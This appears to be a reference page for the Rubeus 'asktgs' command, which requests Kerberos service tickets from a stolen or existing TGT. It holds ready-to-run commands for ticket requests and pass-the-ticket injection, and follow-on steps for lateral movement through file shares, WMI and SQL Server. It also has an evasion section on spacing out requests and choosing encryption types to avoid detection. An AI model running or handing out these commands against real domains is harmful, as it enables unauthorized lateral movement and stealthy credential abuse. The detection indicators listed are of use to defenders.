asktgs

Overview

Request service tickets (TGS) for specific services using an existing Ticket Granting Ticket (TGT). This command enables access to specific services and is essential for lateral movement and service access in Kerberos environments.

Syntax

Rubeus.exe asktgs /ticket:TGT /service:SPN [options]

Required Parameters

ticket

string

required

Base64-encoded TGT or path to .kirbi file

service

string

required

Target service SPN(s) - comma-separated for multiple services

Optional Parameters

string

Domain controller to target

outfile

string

Save service ticket to file

ptt

boolean

Pass-the-ticket (inject service ticket)

enterprise

boolean

Use enterprise principal format

u2u

boolean

Request User-to-User authentication ticket

enctype

string

Request specific encryption type (DES|RC4|AES128|AES256)

Examples

# Request CIFS ticket for file access
Rubeus.exe asktgs /ticket:doIFuj... /service:cifs/fileserver.corp.local /ptt

# Request HTTP ticket for web service
Rubeus.exe asktgs /ticket:doIFuj... /service:http/webserver.corp.local /ptt

# Request multiple service tickets
Rubeus.exe asktgs /ticket:doIFuj... /service:cifs/server1.corp.local,http/server2.corp.local

# Request HOST ticket for admin access
Rubeus.exe asktgs /ticket:doIFuj... /service:host/target.corp.local /ptt

# Request LDAP ticket for directory access
Rubeus.exe asktgs /ticket:doIFuj... /service:ldap/dc01.corp.local /ptt

# Request RPCSS ticket for RPC services
Rubeus.exe asktgs /ticket:doIFuj... /service:rpcss/target.corp.local /ptt

# Request SQL Server ticket
Rubeus.exe asktgs /ticket:doIFuj... /service:MSSQLSvc/sql01.corp.local:1433 /ptt

# Request Exchange service ticket
Rubeus.exe asktgs /ticket:doIFuj... /service:exchangeMDB/mail01.corp.local /ptt

Service Principal Names (SPNs)

Common Service Types

File and Print Services:

cifs/server.domain.com - SMB/CIFS file sharing
nfs/server.domain.com - Network File System

Web Services:

http/webserver.domain.com - HTTP web services
https/webserver.domain.com - HTTPS secure web

Administrative Services:

host/computer.domain.com - General host services
rpcss/server.domain.com - RPC endpoint mapper

Directory Services:

ldap/dc.domain.com - LDAP directory access
gc/dc.domain.com - Global catalog access

Database Services

SQL Server:

MSSQLSvc/server.domain.com:1433 - Default instance
MSSQLSvc/server.domain.com:NAMED - Named instance

Oracle:

oracle/server.domain.com - Oracle database

Other Databases:

postgres/server.domain.com - PostgreSQL
mysql/server.domain.com - MySQL

Advanced Options

Enterprise Principal Format

Standard vs Enterprise:

# Standard format
/service:cifs/server.corp.local

# Enterprise format (useful for cross-domain)
/service:user@domain.com /enterprise

Benefits of Enterprise Format:

Works across domain trusts
Simplifies cross-domain access
Handles complex forest scenarios

User-to-User Authentication

U2U Protocol:

/u2u /service:krbtgt/domain.com

Use Cases:

Bypass service key requirements
Access services without knowing service account password
Specialized authentication scenarios

Encryption Type Handling

Encryption Negotiation

Automatic Selection:

Client and server negotiate highest supported encryption
Typically results in AES256 in modern environments
Falls back to RC4 for legacy compatibility

Explicit Type Request:

# Request specific encryption
/enctype:AES256  # Preferred for OPSEC
/enctype:RC4     # Compatible but detectable
/enctype:AES128  # Balance of security and performance

Lateral Movement Applications

File System Access

SMB/CIFS Access:

# Get CIFS ticket and access files
Rubeus.exe asktgs /ticket:TGT /service:cifs/fileserver.corp.local /ptt

# Then access via UNC path
dir \\fileserver.corp.local\share

Administrative Access

Remote Administration:

# Get HOST ticket for admin access
Rubeus.exe asktgs /ticket:TGT /service:host/target.corp.local /ptt

# Use for WMI, services, registry, etc.
wmic /node:target.corp.local process list

Database Access

SQL Server Access:

# Get SQL Server ticket
Rubeus.exe asktgs /ticket:TGT /service:MSSQLSvc/sql01.corp.local:1433 /ptt

# Connect to database
sqlcmd -S sql01.corp.local -E

Service Discovery

SPN Enumeration

PowerShell Discovery:

# Find SPNs for target
setspn -L target.corp.local

# Search for service types
Get-ADUser -Filter {ServicePrincipalName -like "*SQL*"}

LDAP Queries:

# Using ldapsearch
ldapsearch -h dc.corp.local -b "dc=corp,dc=local" "serviceprincipalname=*"

Pass-the-Ticket Integration

Automatic Injection

Using /ptt flag:

# Automatically inject service ticket
Rubeus.exe asktgs /ticket:TGT /service:cifs/server.corp.local /ptt

Manual Injection:

# Get ticket to file, then inject separately
Rubeus.exe asktgs /ticket:TGT /service:cifs/server.corp.local /outfile:service.kirbi
Rubeus.exe ptt /ticket:service.kirbi

Error Handling

Common Errors

Service Not Found:

KDC_ERR_S_PRINCIPAL_UNKNOWN

SPN doesn’t exist or is misspelled
Service not registered in Active Directory

Access Denied:

KDC_ERR_BADOPTION

TGT doesn’t have required privileges
Service account restrictions

Encryption Issues:

KDC_ERR_ETYPE_NOSUPP

Requested encryption type not supported
Encryption downgrade policies

Operational Security

Detection Considerations

Event Logs:

Event ID 4769 (Service ticket requested)
Multiple rapid service ticket requests
Unusual service access patterns

Behavioral Indicators:

Service tickets without subsequent service access
Bulk SPN enumeration
Cross-domain service requests

Evasion Techniques

Targeted Requests:

Request only needed service tickets
Space out requests over time
Use legitimate service patterns

Encryption Selection:

Prefer AES encryption when possible
Match environment encryption standards
Avoid RC4 in modern environments

asktgt - Request TGT for service ticket requests
ptt - Pass service tickets to current session
s4u - Use service tickets for delegation abuse
describe - Analyze service ticket contents

Getting Started

Ticket Operations

Attack Techniques

Miscellaneous

Overview

Syntax

Required Parameters

Optional Parameters

Examples

Service Principal Names (SPNs)

Advanced Options

Encryption Type Handling

Lateral Movement Applications

Service Discovery

Pass-the-Ticket Integration

Error Handling

Operational Security

​Overview

​Syntax

​Required Parameters

​Optional Parameters

​Examples

​Service Principal Names (SPNs)

​Advanced Options

​Encryption Type Handling

​Lateral Movement Applications

​Service Discovery

​Pass-the-Ticket Integration

​Error Handling

​Operational Security

​Related Commands

Overview

Syntax

Required Parameters

Optional Parameters

Examples

Service Principal Names (SPNs)

Advanced Options

Encryption Type Handling

Lateral Movement Applications

Service Discovery

Pass-the-Ticket Integration

Error Handling

Operational Security

Related Commands